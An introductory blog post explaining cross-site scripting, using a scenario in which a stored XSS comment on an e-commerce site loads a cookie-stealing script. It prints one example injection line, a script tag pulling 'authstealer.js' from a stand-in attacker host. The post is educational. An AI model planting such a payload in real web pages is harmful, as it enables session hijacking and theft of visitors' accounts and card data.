Cross Site Scripting (XSS) Explained

What is Cross site Scripting?

Cross site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

By using XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.

Cross site Scripting Explained

Consider this scenario:

While browsing an e-commerce website, a perpetrator discovers a vulnerability that allows HTML tags to be embedded in the site’s comments section. The embedded tags become a permanent feature of the page, causing the browser to parse them with the rest of the source code every time the page is opened.

The attacker adds the following comment: Amazing item at best price! Read my full review here <script src=”http://hacksite.com/authstealer.js”> </script>.

From this point on, every time the page is accessed, the HTML tag in the comment will activate a JavaScript file, which is hosted on another site, and has the ability to steal visitors’ session cookies.

Using the session cookie, the attacker can compromise the visitor’s account, granting him easy access to his personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place.

Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page. This increases the reach of the attack, endangering all visitors no matter their level of vigilance.

Taha Chatriwala

Spreading Cyber Security Knowledge to the people of this digital era !

You may also like...

2 Responses

  1. game guardian hack apk says:

    Wonderful site. A lot of helpful information here.
    I am sending it to several pals ans also sharing in delicious.
    And certainly, thank you in your sweat!

  2. Jana says:

    Having read this I thought it was extremely enlightening.
    I appreciate you finding the time and energy to
    put this short article together. I once again find myself spending a significant amount of time both reading and commenting.

    But so what, it was still worth it!

Leave a Reply

Your email address will not be published. Required fields are marked *

eleven + 6 =